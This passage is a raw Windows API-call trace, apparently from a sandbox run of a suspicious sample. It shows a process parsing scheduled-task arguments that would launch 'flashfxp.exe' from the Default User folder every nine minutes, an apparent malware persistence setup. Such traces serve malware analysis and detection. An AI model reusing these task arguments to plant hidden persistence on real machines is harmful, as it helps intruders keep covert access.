dwFlags=0x0, lpMem=0x21c1f0) returned 1 [0163.227] GetProcessHeap () returned 0x200000 [0163.227] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21c1f0, Size=0x16) returned 0x21c1f0 [0163.227] lstrlenW (lpString="tn") returned 2 [0163.227] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.227] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|showsid|") returned 9 [0163.227] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tn|") returned 4 [0163.227] lstrlenW (lpString="|showsid|") returned 9 [0163.227] lstrlenW (lpString="|tn|") returned 4 [0163.227] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0163.227] SetLastError (dwErrCode=0x490) [0163.227] SetLastError (dwErrCode=0x490) [0163.227] SetLastError (dwErrCode=0x0) [0163.227] lstrlenW (lpString="/tn") returned 3 [0163.227] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0163.227] SetLastError (dwErrCode=0x490) [0163.228] SetLastError (dwErrCode=0x0) [0163.228] lstrlenW (lpString="/tn") returned 3 [0163.228] GetProcessHeap () returned 0x200000 [0163.228] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c190 [0163.228] GetProcessHeap () returned 0x200000 [0163.228] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cba0 [0163.228] SetLastError (dwErrCode=0x0) [0163.228] SetLastError (dwErrCode=0x0) [0163.228] lstrlenW (lpString="flashfxpf") returned 9 [0163.228] lstrlenW (lpString="-/") returned 2 [0163.228] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0163.228] SetLastError (dwErrCode=0x490) [0163.228] SetLastError (dwErrCode=0x490) [0163.228] SetLastError (dwErrCode=0x0) [0163.228] lstrlenW (lpString="flashfxpf") returned 9 [0163.228] StrChrIW (lpStart="flashfxpf", wMatch=0x3a) returned 0x0 [0163.228] SetLastError (dwErrCode=0x490) [0163.228] SetLastError (dwErrCode=0x0) [0163.228] lstrlenW (lpString="flashfxpf") returned 9 [0163.228] GetProcessHeap () returned 0x200000 [0163.228] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x14) returned 0x21d490 [0163.229] GetProcessHeap () returned 0x200000 [0163.229] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cbd0 [0163.229] SetLastError (dwErrCode=0x0) [0163.229] SetLastError (dwErrCode=0x0) [0163.229] lstrlenW (lpString="/sc") returned 3 [0163.229] lstrlenW (lpString="-/") returned 2 [0163.230] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.230] lstrlenW (lpString="?") returned 1 [0163.230] lstrlenW (lpString="?") returned 1 [0163.230] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.230] lstrlenW (lpString="sc") returned 2 [0163.230] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.230] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|?|") returned 3 [0163.230] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|sc|") returned 4 [0163.230] lstrlenW (lpString="|?|") returned 3 [0163.230] lstrlenW (lpString="|sc|") returned 4 [0163.230] SetLastError (dwErrCode=0x490) [0163.230] lstrlenW (lpString="create") returned 6 [0163.230] lstrlenW (lpString="create") returned 6 [0163.230] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.230] lstrlenW (lpString="sc") returned 2 [0163.231] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.231] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|create|") returned 8 [0163.231] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|sc|") returned 4 [0163.231] lstrlenW (lpString="|create|") returned 8 [0163.231] lstrlenW (lpString="|sc|") returned 4 [0163.231] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0163.231] SetLastError (dwErrCode=0x490) [0163.231] lstrlenW (lpString="delete") returned 6 [0163.231] lstrlenW (lpString="delete") returned 6 [0163.231] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.231] lstrlenW (lpString="sc") returned 2 [0163.231] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.231] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|delete|") returned 8 [0163.231] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|sc|") returned 4 [0163.231] lstrlenW (lpString="|delete|") returned 8 [0163.231] lstrlenW (lpString="|sc|") returned 4 [0163.231] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0163.231] SetLastError (dwErrCode=0x490) [0163.231] lstrlenW (lpString="query") returned 5 [0163.231] lstrlenW (lpString="query") returned 5 [0163.231] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.231] lstrlenW (lpString="sc") returned 2 [0163.231] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.232] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|query|") returned 7 [0163.232] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|sc|") returned 4 [0163.232] lstrlenW (lpString="|query|") returned 7 [0163.232] lstrlenW (lpString="|sc|") returned 4 [0163.232] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0163.232] SetLastError (dwErrCode=0x490) [0163.232] lstrlenW (lpString="change") returned 6 [0163.232] lstrlenW (lpString="change") returned 6 [0163.232] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.232] lstrlenW (lpString="sc") returned 2 [0163.232] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.232] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|change|") returned 8 [0163.232] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|sc|") returned 4 [0163.232] lstrlenW (lpString="|change|") returned 8 [0163.232] lstrlenW (lpString="|sc|") returned 4 [0163.232] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0163.232] SetLastError (dwErrCode=0x490) [0163.232] lstrlenW (lpString="run") returned 3 [0163.232] lstrlenW (lpString="run") returned 3 [0163.232] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.232] lstrlenW (lpString="sc") returned 2 [0163.232] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.232] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|run|") returned 5 [0163.233] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|sc|") returned 4 [0163.233] lstrlenW (lpString="|run|") returned 5 [0163.233] lstrlenW (lpString="|sc|") returned 4 [0163.233] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0163.233] SetLastError (dwErrCode=0x490) [0163.233] lstrlenW (lpString="end") returned 3 [0163.233] lstrlenW (lpString="end") returned 3 [0163.233] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.233] lstrlenW (lpString="sc") returned 2 [0163.233] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.233] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|end|") returned 5 [0163.233] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|sc|") returned 4 [0163.233] lstrlenW (lpString="|end|") returned 5 [0163.233] lstrlenW (lpString="|sc|") returned 4 [0163.233] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0163.233] SetLastError (dwErrCode=0x490) [0163.233] lstrlenW (lpString="showsid") returned 7 [0163.233] lstrlenW (lpString="showsid") returned 7 [0163.233] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.233] lstrlenW (lpString="sc") returned 2 [0163.233] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.233] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|showsid|") returned 9 [0163.233] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|sc|") returned 4 [0163.233] lstrlenW (lpString="|showsid|") returned 9 [0163.234] lstrlenW (lpString="|sc|") returned 4 [0163.234] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0163.234] SetLastError (dwErrCode=0x490) [0163.234] SetLastError (dwErrCode=0x490) [0163.234] SetLastError (dwErrCode=0x0) [0163.234] lstrlenW (lpString="/sc") returned 3 [0163.234] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0163.234] SetLastError (dwErrCode=0x490) [0163.234] SetLastError (dwErrCode=0x0) [0163.234] lstrlenW (lpString="/sc") returned 3 [0163.234] GetProcessHeap () returned 0x200000 [0163.234] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21dc60 [0163.234] GetProcessHeap () returned 0x200000 [0163.234] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc00 [0163.234] SetLastError (dwErrCode=0x0) [0163.234] SetLastError (dwErrCode=0x0) [0163.234] lstrlenW (lpString="MINUTE") returned 6 [0163.234] lstrlenW (lpString="-/") returned 2 [0163.234] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0163.234] SetLastError (dwErrCode=0x490) [0163.234] SetLastError (dwErrCode=0x490) [0163.234] SetLastError (dwErrCode=0x0) [0163.234] lstrlenW (lpString="MINUTE") returned 6 [0163.234] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0163.234] SetLastError (dwErrCode=0x490) [0163.234] SetLastError (dwErrCode=0x0) [0163.234] lstrlenW (lpString="MINUTE") returned 6 [0163.234] GetProcessHeap () returned 0x200000 [0163.235] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d4b0 [0163.235] GetProcessHeap () returned 0x200000 [0163.235] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc30 [0163.235] SetLastError (dwErrCode=0x0) [0163.235] SetLastError (dwErrCode=0x0) [0163.235] lstrlenW (lpString="/mo") returned 3 [0163.235] lstrlenW (lpString="-/") returned 2 [0163.235] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.235] lstrlenW (lpString="?") returned 1 [0163.235] lstrlenW (lpString="?") returned 1 [0163.235] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.235] lstrlenW (lpString="mo") returned 2 [0163.235] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.235] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|?|") returned 3 [0163.235] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|mo|") returned 4 [0163.235] lstrlenW (lpString="|?|") returned 3 [0163.235] lstrlenW (lpString="|mo|") returned 4 [0163.235] SetLastError (dwErrCode=0x490) [0163.235] lstrlenW (lpString="create") returned 6 [0163.235] lstrlenW (lpString="create") returned 6 [0163.235] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.235] lstrlenW (lpString="mo") returned 2 [0163.235] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.235] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|create|") returned 8 [0163.235] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|mo|") returned 4 [0163.235] lstrlenW (lpString="|create|") returned 8 [0163.235] lstrlenW (lpString="|mo|") returned 4 [0163.236] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0163.236] SetLastError (dwErrCode=0x490) [0163.236] lstrlenW (lpString="delete") returned 6 [0163.236] lstrlenW (lpString="delete") returned 6 [0163.236] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.236] lstrlenW (lpString="mo") returned 2 [0163.236] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.236] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|delete|") returned 8 [0163.236] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|mo|") returned 4 [0163.236] lstrlenW (lpString="|delete|") returned 8 [0163.236] lstrlenW (lpString="|mo|") returned 4 [0163.236] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0163.236] SetLastError (dwErrCode=0x490) [0163.236] lstrlenW (lpString="query") returned 5 [0163.236] lstrlenW (lpString="query") returned 5 [0163.236] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.236] lstrlenW (lpString="mo") returned 2 [0163.236] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.236] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|query|") returned 7 [0163.236] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|mo|") returned 4 [0163.236] lstrlenW (lpString="|query|") returned 7 [0163.236] lstrlenW (lpString="|mo|") returned 4 [0163.236] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0163.236] SetLastError (dwErrCode=0x490) [0163.236] lstrlenW (lpString="change") returned 6 [0163.236] lstrlenW (lpString="change") returned 6 [0163.237] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.237] lstrlenW (lpString="mo") returned 2 [0163.237] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.237] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|change|") returned 8 [0163.237] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|mo|") returned 4 [0163.237] lstrlenW (lpString="|change|") returned 8 [0163.237] lstrlenW (lpString="|mo|") returned 4 [0163.237] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0163.237] SetLastError (dwErrCode=0x490) [0163.237] lstrlenW (lpString="run") returned 3 [0163.237] lstrlenW (lpString="run") returned 3 [0163.237] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.237] lstrlenW (lpString="mo") returned 2 [0163.237] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.237] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|run|") returned 5 [0163.237] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|mo|") returned 4 [0163.237] lstrlenW (lpString="|run|") returned 5 [0163.237] lstrlenW (lpString="|mo|") returned 4 [0163.237] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0163.237] SetLastError (dwErrCode=0x490) [0163.237] lstrlenW (lpString="end") returned 3 [0163.237] lstrlenW (lpString="end") returned 3 [0163.237] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.237] lstrlenW (lpString="mo") returned 2 [0163.237] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.238] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|end|") returned 5 [0163.238] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|mo|") returned 4 [0163.238] lstrlenW (lpString="|end|") returned 5 [0163.238] lstrlenW (lpString="|mo|") returned 4 [0163.238] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0163.238] SetLastError (dwErrCode=0x490) [0163.238] lstrlenW (lpString="showsid") returned 7 [0163.238] lstrlenW (lpString="showsid") returned 7 [0163.238] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.238] lstrlenW (lpString="mo") returned 2 [0163.238] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.238] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|showsid|") returned 9 [0163.238] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|mo|") returned 4 [0163.238] lstrlenW (lpString="|showsid|") returned 9 [0163.238] lstrlenW (lpString="|mo|") returned 4 [0163.238] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0163.238] SetLastError (dwErrCode=0x490) [0163.238] SetLastError (dwErrCode=0x490) [0163.238] SetLastError (dwErrCode=0x0) [0163.238] lstrlenW (lpString="/mo") returned 3 [0163.238] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0163.238] SetLastError (dwErrCode=0x490) [0163.238] SetLastError (dwErrCode=0x0) [0163.238] lstrlenW (lpString="/mo") returned 3 [0163.238] GetProcessHeap () returned 0x200000 [0163.238] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21dc80 [0163.239] GetProcessHeap () returned 0x200000 [0163.239] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc60 [0163.239] SetLastError (dwErrCode=0x0) [0163.239] SetLastError (dwErrCode=0x0) [0163.239] lstrlenW (lpString="9") returned 1 [0163.239] SetLastError (dwErrCode=0x490) [0163.239] SetLastError (dwErrCode=0x0) [0163.239] lstrlenW (lpString="9") returned 1 [0163.239] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0163.239] SetLastError (dwErrCode=0x490) [0163.239] SetLastError (dwErrCode=0x0) [0163.239] lstrlenW (lpString="9") returned 1 [0163.239] GetProcessHeap () returned 0x200000 [0163.239] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x4) returned 0x21dca0 [0163.239] GetProcessHeap () returned 0x200000 [0163.239] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc90 [0163.239] SetLastError (dwErrCode=0x0) [0163.239] SetLastError (dwErrCode=0x0) [0163.239] lstrlenW (lpString="/tr") returned 3 [0163.239] lstrlenW (lpString="-/") returned 2 [0163.239] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.239] lstrlenW (lpString="?") returned 1 [0163.239] lstrlenW (lpString="?") returned 1 [0163.239] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.239] lstrlenW (lpString="tr") returned 2 [0163.239] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.239] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|?|") returned 3 [0163.240] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tr|") returned 4 [0163.240] lstrlenW (lpString="|?|") returned 3 [0163.240] lstrlenW (lpString="|tr|") returned 4 [0163.240] SetLastError (dwErrCode=0x490) [0163.240] lstrlenW (lpString="create") returned 6 [0163.240] lstrlenW (lpString="create") returned 6 [0163.240] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.240] lstrlenW (lpString="tr") returned 2 [0163.240] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.240] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|create|") returned 8 [0163.240] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tr|") returned 4 [0163.240] lstrlenW (lpString="|create|") returned 8 [0163.240] lstrlenW (lpString="|tr|") returned 4 [0163.240] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0163.240] SetLastError (dwErrCode=0x490) [0163.240] lstrlenW (lpString="delete") returned 6 [0163.240] lstrlenW (lpString="delete") returned 6 [0163.240] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.240] lstrlenW (lpString="tr") returned 2 [0163.240] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.240] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|delete|") returned 8 [0163.240] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tr|") returned 4 [0163.240] lstrlenW (lpString="|delete|") returned 8 [0163.241] lstrlenW (lpString="|tr|") returned 4 [0163.241] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0163.241] SetLastError (dwErrCode=0x490) [0163.241] lstrlenW (lpString="query") returned 5 [0163.241] lstrlenW (lpString="query") returned 5 [0163.241] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.241] lstrlenW (lpString="tr") returned 2 [0163.241] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.241] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|query|") returned 7 [0163.241] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tr|") returned 4 [0163.241] lstrlenW (lpString="|query|") returned 7 [0163.241] lstrlenW (lpString="|tr|") returned 4 [0163.241] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0163.241] SetLastError (dwErrCode=0x490) [0163.241] lstrlenW (lpString="change") returned 6 [0163.241] lstrlenW (lpString="change") returned 6 [0163.241] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.241] lstrlenW (lpString="tr") returned 2 [0163.241] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.241] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|change|") returned 8 [0163.241] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tr|") returned 4 [0163.241] lstrlenW (lpString="|change|") returned 8 [0163.241] lstrlenW (lpString="|tr|") returned 4 [0163.241] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0163.242] SetLastError (dwErrCode=0x490) [0163.242] lstrlenW (lpString="run") returned 3 [0163.242] lstrlenW (lpString="run") returned 3 [0163.242] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.242] lstrlenW (lpString="tr") returned 2 [0163.242] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.242] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|run|") returned 5 [0163.242] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tr|") returned 4 [0163.242] lstrlenW (lpString="|run|") returned 5 [0163.242] lstrlenW (lpString="|tr|") returned 4 [0163.242] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0163.242] SetLastError (dwErrCode=0x490) [0163.242] lstrlenW (lpString="end") returned 3 [0163.242] lstrlenW (lpString="end") returned 3 [0163.242] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.242] lstrlenW (lpString="tr") returned 2 [0163.242] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.242] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|end|") returned 5 [0163.242] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tr|") returned 4 [0163.242] lstrlenW (lpString="|end|") returned 5 [0163.242] lstrlenW (lpString="|tr|") returned 4 [0163.242] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0163.242] SetLastError (dwErrCode=0x490) [0163.242] lstrlenW (lpString="showsid") returned 7 [0163.243] lstrlenW (lpString="showsid") returned 7 [0163.243] _memicmp (_Buf1=0x21c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.243] lstrlenW (lpString="tr") returned 2 [0163.243] _memicmp (_Buf1=0x21c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.243] _vsnwprintf (in: _Buffer=0x21c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|showsid|") returned 9 [0163.243] _vsnwprintf (in: _Buffer=0x21c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df138 | out: _Buffer="|tr|") returned 4 [0163.243] lstrlenW (lpString="|showsid|") returned 9 [0163.243] lstrlenW (lpString="|tr|") returned 4 [0163.243] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0163.243] SetLastError (dwErrCode=0x490) [0163.243] SetLastError (dwErrCode=0x490) [0163.243] SetLastError (dwErrCode=0x0) [0163.243] lstrlenW (lpString="/tr") returned 3 [0163.243] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0163.243] SetLastError (dwErrCode=0x490) [0163.243] SetLastError (dwErrCode=0x0) [0163.243] lstrlenW (lpString="/tr") returned 3 [0163.243] GetProcessHeap () returned 0x200000 [0163.243] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21dcc0 [0163.243] GetProcessHeap () returned 0x200000 [0163.243] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ccc0 [0163.243] SetLastError (dwErrCode=0x0) [0163.243] SetLastError (dwErrCode=0x0) [0163.243] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.243] lstrlenW (lpString="-/") returned 2 [0163.244] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0163.244] SetLastError (dwErrCode=0x490) [0163.244] SetLastError (dwErrCode=0x490) [0163.244] SetLastError (dwErrCode=0x0) [0163.244] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.244] StrChrIW (lpStart="'C:\\Users\\Default User\\flashfxp.exe'", wMatch=0x3a) returned=":\\Users\\Default User\\flashfxp.exe'" [0163.244] lstrlenW (lpString="'C:\\Users\\Default User\\flashfxp.exe'") returned 36 [0163.244] GetProcessHeap () returned 0x200000 [0163.244] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d4d0 [0163.244] _memicmp (_Buf1=0x21d4d0, _Buf2=0xff451b08, _Size=0x7) 